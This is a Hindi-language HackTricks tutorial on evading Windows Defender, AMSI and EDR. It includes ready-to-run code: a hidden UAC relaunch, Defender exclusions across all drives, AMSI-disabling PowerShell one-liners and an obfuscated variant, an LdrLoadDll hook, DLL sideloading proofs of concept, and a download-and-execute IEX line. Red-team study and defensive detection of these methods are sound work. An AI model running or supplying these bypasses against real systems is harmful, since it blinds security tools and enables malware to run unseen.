Antivirus (AV) Bypass

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

यह पृष्ठ लिखा गया था @m2rc_p!

Stop Defender

• defendnot: Windows Defender को काम करना रोकने का एक टूल।
• no-defender: एक टूल जो किसी अन्य AV का नाटक करके Windows Defender को काम करना बंद कर देता है।
• Disable Defender if you are admin

Installer-style UAC bait before tampering with Defender

गेम चीट्स के रूप में छद्म दिखने वाले सार्वजनिक लोडर अक्सर unsigned Node.js/Nexe installers के रूप में आते हैं जो पहले उपयोगकर्ता से elevation के लिए पूछते हैं और उसके बाद ही Defender को निष्क्रिय करते हैं। प्रक्रिया सरल है:

1. net session के साथ administrative context की जांच करें। यह कमांड केवल तब सफल होता है जब कॉलर के पास admin rights हों, इसलिए असफलता यह संकेत देती है कि loader एक सामान्य उपयोगकर्ता के रूप में चल रहा है।
2. तुरंत RunAs verb के साथ स्वयं को फिर से लॉन्च करें ताकि अपेक्षित UAC consent prompt ट्रिगर हो सके, साथ ही मूल कमांड लाइन को संरक्षित रखा जाए।

if (-not (net session 2>$null)) {
powershell -WindowStyle Hidden -Command "Start-Process cmd.exe -Verb RunAs -WindowStyle Hidden -ArgumentList '/c ""`<path_to_loader`>""'"
exit
}

पीड़ित पहले से ही मान लेते हैं कि वे “cracked” सॉफ़्टवेयर इंस्टॉल कर रहे हैं, इसलिए prompt आम तौर पर स्वीकार कर लिया जाता है, जिससे मैलवेयर को Defender की नीति बदलने के लिए आवश्यक अधिकार मिल जाते हैं।

हर ड्राइव लेटर के लिए व्यापक MpPreference बहिष्करण

एक बार उच्चाधिकार मिल जाने पर, GachiLoader-style चेन सेवा को सीधे तौर पर निष्क्रिय करने की बजाय Defender की निगरानी में मौजूद अंधे स्थानों को अधिकतम कर देती हैं। loader पहले GUI watchdog (taskkill /F /IM SecHealthUI.exe) को समाप्त करता है और फिर बहुत ही व्यापक बहिष्करण लागू कर देता है ताकि हर उपयोगकर्ता प्रोफ़ाइल, सिस्टम निर्देशिका और हटाने योग्य डिस्क स्कैन न किए जा सकें:

$targets = @('C:\Users\', 'C:\ProgramData\', 'C:\Windows\')
Get-PSDrive -PSProvider FileSystem | ForEach-Object { $targets += $_.Root }
$targets | Sort-Object -Unique | ForEach-Object { Add-MpPreference -ExclusionPath $_ }
Add-MpPreference -ExclusionExtension '.sys'

मुख्य अवलोकन:

• लूप हर माउंटेड फ़ाइलसिस्टम (D:, E:, USB sticks, आदि) को स्कैन करता है, इसलिए डिस्क पर कहीं भी बाद में छोड़ा गया कोई भी payload अनदेखा कर दिया जाता है।
• .sys एक्सटेंशन का अपवाद भविष्योन्मुख है — हमलावर बाद में unsigned drivers लोड करने का विकल्प सुरक्षित रखते हैं बिना Defender को फिर से छुए।
• सभी परिवर्तन HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions के अंतर्गत होते हैं, जिससे बाद के चरण यह पुष्टि कर सकते हैं कि exclusions बनी हुई हैं या उन्हें बढ़ाया जा सकता है बिना UAC को फिर से ट्रिगर किए।

क्योंकि कोई Defender service रोकी नहीं जाती, साधारण health checks “antivirus active” की रिपोर्ट देते रहते हैं, भले ही real-time inspection उन paths को कभी छूता ही न हो।

AV Evasion Methodology

वर्तमान में, AVs फ़ाइलों के malicious होने की जाँच के लिए अलग-अलग तरीकों का उपयोग करते हैं — static detection, dynamic analysis, और अधिक उन्नत EDRs के लिए, behavioural analysis।

Static detection

Static detection उन known malicious strings या byte arrays को flag करके हासिल किया जाता है जो किसी binary या script में होते हैं, और साथ ही फ़ाइल से जानकारी निकाली जाती है (उदा. file description, company name, digital signatures, icon, checksum, आदि)। इसका मतलब है कि ज्ञात public tools का उपयोग करने पर आप अधिक आसानी से पकड़े जा सकते हैं, क्योंकि उन्हें शायद पहले ही विश्लेषित करके malicious के रूप में flag कर दिया गया होगा। इस तरह की detection को बायपास करने के कुछ तरीके हैं:

• Encryption

यदि आप binary को encrypt करते हैं, तो AV आपके प्रोग्राम का पता नहीं लगा पाएगा, पर आपको प्रोग्राम को memory में decrypt करके चलाने के लिए किसी तरह का loader चाहिए होगा।

• Obfuscation

कभी-कभी बस अपनी binary या script में कुछ strings बदल देना ही काफी होता है ताकि यह AV को पार कर जाए, पर यह उस पर निर्भर करते हुए समय-साध्य हो सकता है कि आप क्या obfuscate करने की कोशिश कर रहे हैं।

• Custom tooling

यदि आप अपने खुद के tools विकसित करते हैं, तो कोई known bad signatures नहीं होंगे, पर यह काफी समय और मेहनत मांगता है।

Tip

Windows Defender static detection के खिलाफ जाँच करने का एक अच्छा तरीका है ThreatCheck। यह मूल रूप से फ़ाइल को कई segments में बाँटता है और फिर Defender को हर एक को अलग से scan करने का कार्य देता है; इस तरह यह आपको सटीक रूप से बता सकता है कि आपकी binary में कौन से flagged strings या bytes हैं।

मैं दृढ़ता से सुझाऊँगा कि आप इस YouTube playlist को देखें जो practical AV Evasion के बारे में है।

Dynamic analysis

Dynamic analysis वह प्रक्रिया है जब AV आपकी binary को एक sandbox में चलाता है और malicious गतिविधि को मॉनिटर करता है (उदा. ब्राउज़र के पासवर्ड decrypt करके पढ़ने की कोशिश, LSASS पर minidump लेना, आदि)। यह हिस्सा थोड़ा अधिक पेचीदा हो सकता है, पर sandboxes से बचने के लिए आप कुछ चीजें कर सकते हैं।

• Sleep before execution लागू करने के तरीके पर निर्भर करते हुए, यह AV के dynamic analysis को बायपास करने का एक अच्छा तरीका हो सकता है। AVs के पास फ़ाइलों को स्कैन करने के लिए बहुत कम समय होता है ताकि उपयोगकर्ता के workflow में बाधा न आए, इसलिए लंबी sleeps का उपयोग binaries के analysis को प्रभावित कर सकता है। समस्या यह है कि कई AVs के sandboxes sleep को स्किप कर सकते हैं, यह इस पर निर्भर करता है कि इसे कैसे implement किया गया है।
• Checking machine’s resources आमतौर पर Sandboxes के पास काम करने के लिए बहुत कम resources होते हैं (उदा. < 2GB RAM), वरना वे उपयोगकर्ता की मशीन को धीमा कर सकते हैं। आप यहाँ बहुत रचनात्मक भी हो सकते हैं — उदाहरण के लिए CPU का तापमान या fan speeds चेक करना; हर चीज़ sandbox में implement नहीं होगी।
• Machine-specific checks यदि आप किसी ऐसे उपयोगकर्ता को लक्षित करना चाहते हैं जिसका workstation “contoso.local” domain से जुड़ा है, तो आप कंप्यूटर के domain की जाँच कर सकते हैं कि क्या यह आपके निर्दिष्ट domain से मेल खाता है; यदि नहीं, तो आप अपना प्रोग्राम exit करवा सकते हैं।

यह पता चलता है कि Microsoft Defender के Sandbox का computername HAL9TH है, इसलिए आप detonaton से पहले अपने malware में computer name की जाँच कर सकते हैं — यदि नाम HAL9TH से मेल खाता है तो आप Defender के sandbox के अंदर हैं, और आप अपना प्रोग्राम exit करा सकते हैं।

Sandboxes के खिलाफ जाने के लिए कुछ और बढ़िया टिप्स @mgeeky से

जैसा कि हमने इस पोस्ट में पहले कहा है, public tools अंततः get detected हो ही जाएंगे, इसलिए आपको खुद से यह सवाल करना चाहिए:

उदाहरण के लिए, अगर आप LSASS को dump करना चाहते हैं, क्या आपको वास्तव में mimikatz का उपयोग करना ही चाहिए? या क्या आप कोई ऐसा प्रोजेक्ट इस्तेमाल कर सकते हैं जो कम जाना-पहचाना हो और उसी तरह LSASS को dump भी करता हो।

सही जवाब शायद बाद वाला होगा। mimikatz को उदाहरण के रूप में लें — यह शायद AVs और EDRs द्वारा सबसे अधिक flagged टूलों में से एक है; जबकि परियोजना खुद शानदार है, AVs से बचने के लिए इसके साथ काम करना एक सिरदर्द भी हो सकता है, इसलिए जो आप हासिल करना चाहते हैं उसके लिए विकल्प ढूँढें।

Tip

जब आप अपने payloads को evasion के लिए modify कर रहे हों, तो सुनिश्चित करें कि Defender में automatic sample submission बंद हो, और कृपया, गंभीरता से, लंबी अवधि में evasion हासिल करने के लक्ष्य के साथ DO NOT UPLOAD TO VIRUSTOTAL करें। यदि आप यह जांचना चाहते हैं कि किसी विशेष AV द्वारा आपका payload detect होता है या नहीं, तो उसे एक VM पर इंस्टॉल करें, automatic sample submission बंद करने की कोशिश करें, और वहीं पर टेस्ट करते रहें जब तक आप परिणाम से संतुष्ट न हों।

EXEs vs DLLs

जहाँ भी संभव हो, हमेशा प्राथमिकता DLLs का उपयोग करने को दें for evasion — मेरे अनुभव में, DLL फ़ाइलें आमतौर पर काफ़ी कम detected और analyze की जाती हैं, इसलिए यह detection से बचने के लिए एक बहुत सरल ट्रिक है कुछ मामलों में (बशर्ते आपका payload किसी तरह DLL के रूप में चल सके)।

जैसा कि इस इमेज में दिख रहा है, Havoc का एक DLL Payload antiscan.me पर 4/26 detection rate रखता है, जबकि EXE payload का detection rate 7/26 है।

अब हम कुछ ट्रिक्स दिखाएँगे जो आप DLL फ़ाइलों के साथ उपयोग कर सकते हैं ताकि आप बहुत अधिक stealthier बन सकें।

DLL Sideloading & Proxying

DLL Sideloading loader द्वारा उपयोग किए जाने वाले DLL search order का लाभ उठाता है, जहाँ victim application और malicious payload(s) को एक साथ रखकर यह किया जाता है।

आप Siofra और निम्न powershell script का उपयोग करके DLL Sideloading के लिए susceptible programs जाँच सकते हैं:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

This command will output the list of programs susceptible to DLL hijacking inside “C:\Program Files\” and the DLL files they try to load.

मैं आपको दृढ़ता से सलाह देता हूँ कि आप खुद DLL Hijackable/Sideloadable programs का अन्वेषण करें; यह तकनीक सही ढंग से करने पर काफी stealthy होती है, लेकिन यदि आप सार्वजनिक रूप से जानी-मानी DLL Sideloadable programs का उपयोग करते हैं, तो आप आसानी से पकड़े जा सकते हैं।

केवल किसी प्रोग्राम द्वारा अपेक्षित नाम वाली एक हानिकारक DLL रख देने मात्र से आपका payload नहीं चलेगा, क्योंकि प्रोग्राम उस DLL के अंदर कुछ विशेष functions की अपेक्षा करता है; इस समस्या को ठीक करने के लिए हम एक और तकनीक का उपयोग करेंगे जिसे DLL Proxying/Forwarding कहा जाता है।

DLL Proxying प्रॉक्सी (और malicious) DLL से किये गए कॉल्स को ओरिजिनल DLL की ओर अग्रेषित करता है, इस तरह प्रोग्राम की कार्यक्षमता बनी रहती है और यह आपके payload के execution को संभालने योग्य बनता है।

मैं SharpDLLProxy project का उपयोग करूँगा जो @flangvik द्वारा है।

ये वे कदम हैं जिन्हें मैंने अपनाया:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

आखिरी कमांड हमें 2 फाइलें देगी: एक DLL स्रोत कोड टेम्पलेट, और मूल नाम बदला हुआ DLL।

हमारे shellcode (जिसे SGN से encode किया गया है) और proxy DLL दोनों की antiscan.me पर 0/26 डिटेक्शन रेट है! मैं इसे एक सफलता कहूँगा।

Tip

मैं दृढ़ता से सलाह देता हूँ कि आप DLL Sideloading के बारे में S3cur3Th1sSh1t’s twitch VOD और साथ ही ippsec’s video ज़रूर देखें ताकि हमने जो चर्चा की है उसे और गहराई से समझ सकें।

Forwarded Exports का दुरुपयोग (ForwardSideLoading)

Windows PE modules ऐसे functions export कर सकते हैं जो वास्तव में “forwarders” होते हैं: code की बजाय, export entry में TargetDll.TargetFunc फॉर्म का ASCII string होता है। जब कोई caller इस export को resolve करता है, तो Windows loader:

• यदि यह पहले से लोड नहीं है तो TargetDll को लोड करेगा
• उससे TargetFunc को resolve करेगा

समझने के लिए प्रमुख व्यवहार:

• यदि TargetDll एक KnownDLL है, तो यह protected KnownDLLs namespace से supply होता है (जैसे ntdll, kernelbase, ole32)।
• यदि TargetDll KnownDLL नहीं है, तो सामान्य DLL search order उपयोग किया जाता है, जिसमें उस module की directory भी शामिल है जो forward resolution कर रहा है।

यह एक indirect sideloading primitive सक्षम करता है: पहले एक signed DLL खोजें जो किसी non-KnownDLL module नाम की ओर forwarded function export करता हो, फिर उस signed DLL को उसी directory में रखें जहाँ एक attacker-controlled DLL हो जिसका नाम forwarded target module के बिल्कुल समान हो। जब forwarded export invoke किया जाता है, तो loader forward को resolve करता है और उसी directory से आपकी DLL को लोड करके आपकी DllMain execute कर देता है।

Windows 11 पर देखा गया उदाहरण:

keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface

NCRYPTPROV.dll KnownDLL नहीं है, इसलिए यह सामान्य खोज क्रम के माध्यम से हल किया जाता है।

PoC (कॉपी-पेस्ट):

1. साइन किए गए सिस्टम DLL को किसी लिखने योग्य फ़ोल्डर में कॉपी करें

copy C:\Windows\System32\keyiso.dll C:\test\

2. उसी फ़ोल्डर में एक दुर्भावनापूर्ण NCRYPTPROV.dll रखें। एक न्यूनतम DllMain ही कोड निष्पादन के लिए पर्याप्त है; DllMain को ट्रिगर करने के लिए आपको फॉरवर्ड किए गए फ़ंक्शन को लागू करने की आवश्यकता नहीं है।

// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}

3. एक signed LOLBin से forward को ट्रिगर करें:

rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface

प्रेक्षित व्यवहार:

• rundll32 (signed) साइड-बाय-साइड keyiso.dll (signed) को लोड करता है
• जब KeyIsoSetAuditingInterface को resolve किया जा रहा होता है, तो लोडर forward का पालन कर NCRYPTPROV.SetAuditingInterface पर जाता है
• लोडर फिर C:\test से NCRYPTPROV.dll को लोड करता है और इसका DllMain निष्पादित करता है
• यदि SetAuditingInterface लागू नहीं है, तो आपको “missing API” त्रुटि केवल तब मिलेगी जब DllMain पहले ही चल चुका होगा

हंटिंग टिप्स:

• उन forwarded exports पर ध्यान दें जहाँ target module KnownDLL नहीं है। KnownDLLs सूचीबद्ध हैं: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
• आप tooling का उपयोग करके forwarded exports को enumerate कर सकते हैं, जैसे:

dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface

• उम्मीदवार खोजने के लिए Windows 11 forwarder inventory देखें: https://hexacorn.com/d/apis_fwd.txt

Detection/defense ideas:

• उन घटनाओं की निगरानी करें जहाँ LOLBins (e.g., rundll32.exe) non-system paths से signed DLLs लोड करते हैं, और फिर उसी निर्देशिका से उसी base name वाले non-KnownDLLs लोड होते हैं
• ऐसे process/module chain पर अलर्ट करें: rundll32.exe → non-system keyiso.dll → NCRYPTPROV.dll under user-writable paths
• code integrity policies (WDAC/AppLocker) लागू करें और application directories में write+execute को deny करें

Freeze

Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

आप Freeze का उपयोग अपने shellcode को छिपे हुए तरीके से load और execute करने के लिए कर सकते हैं।

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

Tip

एवेज़न बस एक बिल्ली और चूहा का खेल है — जो आज काम करता है वह कल पकड़ा जा सकता है, इसलिए सिर्फ एक ही टूल पर निर्भर न रहें; जहाँ संभव हो, कई evasion तकनीकों को चेन करके प्रयोग करें।

AMSI (Anti-Malware Scan Interface)

AMSI को “fileless malware” को रोकने के लिए बनाया गया था। शुरुआत में, AVs केवल डिस्क पर मौजूद फ़ाइलों को ही स्कैन कर सकते थे, इसलिए अगर आप किसी payload को सीधे in-memory execute कर पाते थे, तो AV के पास उसे रोकने का पर्याप्त Visibility नहीं था।

AMSI फीचर Windows के इन components में integrated है।

• User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
• PowerShell (scripts, interactive use, and dynamic code evaluation)
• Windows Script Host (wscript.exe and cscript.exe)
• JavaScript and VBScript
• Office VBA macros

यह antivirus solutions को script व्यवहार को ऐसी form में एक्सपोज़ करने की अनुमति देता है जो unencrypted और unobfuscated होती है।

Running IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') will produce the following alert on Windows Defender.

ध्यान दें कि यह संदेश amsi: को prepend करता है और फिर उस executable का path बताता है जिससे स्क्रिप्ट चली थी — इस मामले में, powershell.exe

हमने कोई फ़ाइल डिस्क पर drop नहीं की, फिर भी in-memory में AMSI के कारण पकड़े गए।

इसके अलावा, .NET 4.8 से शुरू होकर, C# code भी AMSI के माध्यम से चलाया जाता है। यह Assembly.Load(byte[]) जैसी in-memory execution को भी प्रभावित करता है। इसलिए अगर आप AMSI से बचना चाहते हैं तो lower versions of .NET (जैसे 4.7.2 या नीचे) का उपयोग in-memory execution के लिए recommend किया जाता है।

AMSI को बायपास करने के कुछ तरीके हैं:

• Obfuscation

क्योंकि AMSI मुख्यतः static detections के साथ काम करता है, इसलिए जिन scripts को आप load करना चाहते हैं उन्हें modify करना detection से बचने का एक अच्छा तरीका हो सकता है।

हालाँकि, AMSI में scripts को unobfuscate करने की capability भी है भले ही उसमें कई layers हों, इसलिए obfuscation करने का तरीका गलत होने पर यह बेहतर विकल्प नहीं हो सकता। इससे इसे evade करना सरल नहीं रहता। हालांकि कभी-कभी केवल कुछ variable names बदलने भर से भी समाधान मिल जाता है, इसलिए यह इस बात पर निर्भर करता है कि किस चीज़ को कितना flag किया गया है।

• AMSI Bypass

चूंकि AMSI को powershell (और cscript.exe, wscript.exe आदि) process में एक DLL load करके implement किया गया है, इसलिए इसे unprivileged user के रूप में भी आसानी से tamper किया जा सकता है। AMSI के इस implementation flaw के कारण शोधकर्ताओं ने AMSI scanning से बचने के कई तरीके खोजे हैं।

Forcing an Error

AMSI initialization को fail करने (amsiInitFailed) के लिए मजबूर करना यह परिणाम देगा कि current process के लिए कोई scan initiate नहीं होगा। इसे मूल रूप से Matt Graeber ने disclose किया था और Microsoft ने व्यापक उपयोग को रोकने के लिए एक signature विकसित किया है।

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

एक ही powershell कोड की लाइन ने वर्तमान powershell process के लिए AMSI को अनुपयोगी बना दिया। यह लाइन, निश्चित रूप से, AMSI द्वारा स्वयं फ्लैग की जा चुकी है, इसलिए इस technique का उपयोग करने के लिए कुछ संशोधन आवश्यक हैं।

यहाँ एक संशोधित AMSI bypass है जिसे मैंने इस Github Gist से लिया।

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

ध्यान दें कि यह पोस्ट प्रकाशित होते ही संभवतः फ़्लैग हो जाएगा, इसलिए यदि आपका लक्ष्य अनदेखा रहना है तो कोई भी कोड प्रकाशित न करें।

Memory Patching

This technique was initially discovered by @RastaMouse and it involves finding address for the “AmsiScanBuffer” function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.

Tip

कृपया अधिक विस्तृत व्याख्या के लिए https://rastamouse.me/memory-patching-amsi-bypass/ पढ़ें।

There are also many other techniques used to bypass AMSI with powershell, check out this page and this repo to learn more about them.

AMSI को ब्लॉक करना — amsi.dll के लोड को रोककर (LdrLoadDll hook)

AMSI केवल तब इनिशियलाइज़ होता है जब amsi.dll वर्तमान प्रोसेस में लोड हो जाता है। एक मजबूत, भाषा‑निरपेक्ष bypass यह है कि ntdll!LdrLoadDll पर एक user‑mode hook लगाया जाए जो अनुरोधित मॉड्यूल amsi.dll होने पर एक त्रुटि लौटाए। नतीज़तन, AMSI कभी लोड नहीं होता और उस प्रोसेस के लिए कोई स्कैन नहीं होता।

Implementation outline (x64 C/C++ pseudocode):

#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pLdrLoadDll)(PWSTR, ULONG, PUNICODE_STRING, PHANDLE);
static pLdrLoadDll realLdrLoadDll;

NTSTATUS NTAPI Hook_LdrLoadDll(PWSTR path, ULONG flags, PUNICODE_STRING module, PHANDLE handle){
if (module && module->Buffer){
UNICODE_STRING amsi; RtlInitUnicodeString(&amsi, L"amsi.dll");
if (RtlEqualUnicodeString(module, &amsi, TRUE)){
// Pretend the DLL cannot be found → AMSI never initialises in this process
return STATUS_DLL_NOT_FOUND; // 0xC0000135
}
}
return realLdrLoadDll(path, flags, module, handle);
}

void InstallHook(){
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
realLdrLoadDll = (pLdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
// Apply inline trampoline or IAT patching to redirect to Hook_LdrLoadDll
// e.g., Microsoft Detours / MinHook / custom 14‑byte jmp thunk
}

Notes

• Works across PowerShell, WScript/CScript and custom loaders alike (anything that would otherwise load AMSI).
• Pair with feeding scripts over stdin (PowerShell.exe -NoProfile -NonInteractive -Command -) to avoid long command‑line artefacts.
• Seen used by loaders executed through LOLBins (e.g., regsvr32 calling DllRegisterServer).

This tools https://github.com/Flangvik/AMSI.fail also generates script to bypass AMSI.

Remove the detected signature

आप ऐसे टूल का उपयोग कर सकते हैं जैसे https://github.com/cobbr/PSAmsi और https://github.com/RythmStick/AMSITrigger ताकि वर्तमान प्रक्रिया की मेमोरी से पता लगा हुआ AMSI सिग्नेचर हटाया जा सके। यह टूल वर्तमान प्रक्रिया की मेमोरी में AMSI सिग्नेचर स्कैन करके उसे NOP instructions से overwrite कर देता है, जिससे वह प्रभावी रूप से मेमोरी से हट जाता है।

AV/EDR products that uses AMSI

आप https://github.com/subat0mik/whoamsi में AMSI उपयोग करने वाले AV/EDR उत्पादों की सूची पा सकते हैं।

Use Powershell version 2 यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपने स्क्रिप्ट बिना AMSI द्वारा स्कैन किए चला सकते हैं। आप ऐसा कर सकते हैं:

powershell.exe -version 2

PS Logging

PowerShell logging एक फीचर है जो सिस्टम पर चलाए गए सभी PowerShell commands को लॉग करने की अनुमति देता है। यह ऑडिटिंग और ट्रबलशूटिंग के लिए उपयोगी हो सकता है, लेकिन यह उन attackers के लिए भी एक समस्या हो सकता है जो detection से बचना चाहते हैं।

To bypass PowerShell logging, you can use the following techniques:

• Disable PowerShell Transcription and Module Logging: आप इसके लिए ऐसे tool का उपयोग कर सकते हैं जैसे https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs।
• Use Powershell version 2: यदि आप PowerShell version 2 का उपयोग करते हैं, तो AMSI लोड नहीं होगा, इसलिए आप अपनी scripts को बिना AMSI द्वारा स्कैन किए चला सकते हैं। आप यह कर सकते हैं: powershell.exe -version 2
• Use an Unmanaged Powershell Session: Use https://github.com/leechristensen/UnmanagedPowerShell ताकि defenses के बिना powershell spawn हो (this is what powerpick from Cobal Strike uses).

Obfuscation

Tip

कई obfuscation techniques डेटा को encrypt करने पर निर्भर करते हैं, जिससे बाइनरी का entropy बढ़ जाता है और AVs तथा EDRs के लिए इसे detect करना आसान हो जाता है। इस पर सावधानी बरतें और संभवतः encryption केवल उन कोड सेक्शन्स पर लागू करें जो संवेदनशील हों या छिपाने की आवश्यकता हो।

Deobfuscating ConfuserEx-Protected .NET Binaries

जब आप ConfuserEx 2 (या उसके commercial forks) का उपयोग करने वाले malware का analysis करते हैं तो अक्सर कई सुरक्षा परतें मिलती हैं जो decompilers और sandboxes को रोकती हैं। नीचे दिया गया workflow भरोसेमंद तरीके से एक करीब–मूल IL को restore करता है जिसे बाद में dnSpy या ILSpy जैसे tools में C# में decompile किया जा सकता है।

1. Anti-tampering removal – ConfuserEx हर method body को encrypt करता है और उसे module के static constructor (<Module>.cctor) के अंदर decrypt करता है। यह PE checksum को भी patch करता है ताकि कोई भी modification binary को क्रैश कर दे। एनक्रिप्टेड metadata tables को locate करने, XOR keys recover करने और एक clean assembly rewrite करने के लिए AntiTamperKiller का उपयोग करें:

# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe

Output में 6 anti-tamper parameters (key0-key3, nameHash, internKey) होते हैं जो अपनी खुद की unpacker बनाते समय उपयोगी हो सकते हैं।

2. Symbol / control-flow recovery – clean फ़ाइल को de4dot-cex (de4dot का ConfuserEx-aware fork) को दें:

de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe

Flags: • -p crx – ConfuserEx 2 प्रोफ़ाइल चुनें
• de4dot control-flow flattening को undo करेगा, मूल namespaces, classes और variable names को restore करेगा और constant strings को decrypt करेगा।

3. Proxy-call stripping – ConfuserEx direct method calls को lightweight wrappers (a.k.a proxy calls) से बदल देता है ताकि decompilation और अधिक मुश्किल हो। इन्हें हटाने के लिए ProxyCall-Remover का उपयोग करें:

ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe

इस कदम के बाद आप opaque wrapper functions (Class8.smethod_10, …) की जगह सामान्य .NET API जैसे Convert.FromBase64String या AES.Create() देख पाएंगे।

4. Manual clean-up – resulting binary को dnSpy में चलाएँ, बड़े Base64 blobs या RijndaelManaged/TripleDESCryptoServiceProvider के उपयोग को खोजें ताकि वास्तविक payload मिल सके। अक्सर malware इसे <Module>.byte_0 के अंदर TLV-encoded byte array के रूप में स्टोर करता है।

उपर्युक्त चैन उस malicious sample को चलाए बिना execution flow को restore करती है — यह offline workstation पर काम करते समय उपयोगी है।

🛈 ConfuserEx एक custom attribute ConfusedByAttribute उत्पन्न करता है जिसे IOC के रूप में उपयोग कर samples को automatically triage किया जा सकता है।

One-liner

autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially

• InvisibilityCloak: C# obfuscator
• Obfuscator-LLVM: इस प्रोजेक्ट का उद्देश्य LLVM compilation suite का एक open-source fork प्रदान करना है जो code obfuscation और tamper-proofing के जरिए सॉफ़्टवेयर सुरक्षा बढ़ा सके।
• ADVobfuscator: ADVobfuscator यह दिखाता है कि किस तरह C++11/14 भाषा का उपयोग करके, compile time पर, किसी बाहरी टूल का उपयोग किए बिना और compiler को modify किए बिना obfuscated code generate किया जा सकता है।
• obfy: C++ template metaprogramming framework द्वारा generate किए गए obfuscated operations की एक परत जोड़ता है, जिससे application क्रैक करने वाले की ज़िन्दगी थोड़ी कठिन हो जाएगी।
• Alcatraz: Alcatraz एक x64 binary obfuscator है जो विभिन्न प्रकार की pe files जैसे: .exe, .dll, .sys को obfuscate कर सकता है।
• metame: Metame arbitrary executables के लिए एक सरल metamorphic code engine है।
• ropfuscator: ROPfuscator एक fine-grained code obfuscation framework है जो ROP (return-oriented programming) का उपयोग करके LLVM-supported भाषाओं के लिए काम करता है। ROPfuscator नियमित निर्देशों को ROP chains में बदलकर assembly code स्तर पर प्रोग्राम को obfuscate करता है, जिससे सामान्य control flow की हमारी पारंपरिक समझ बाधित होती है।
• Nimcrypt: Nimcrypt Nim में लिखा गया एक .NET PE Crypter है
• inceptor: Inceptor मौजूदा EXE/DLL को shellcode में convert कर सकता है और फिर उन्हें load करता है

SmartScreen & MoTW

You may have seen this screen when downloading some executables from the internet and executing them.

Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications.

SmartScreen मुख्यतः reputation-based approach पर काम करता है, जिसका मतलब है कि कम बार download हुए applications SmartScreen को trigger करेंगे, जिससे end user को अलर्ट किया जाएगा और फ़ाइल को execute करने से रोका जाएगा (हालाँकि फ़ाइल को अभी भी More Info -> Run anyway पर क्लिक करके चलाया जा सकता है)।

MoTW (Mark of The Web) is an NTFS Alternate Data Stream with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.

Tip

ध्यान देने योग्य है कि executables जो trusted signing certificate के साथ sign किए गए हों, वे SmartScreen को trigger नहीं करेंगे।

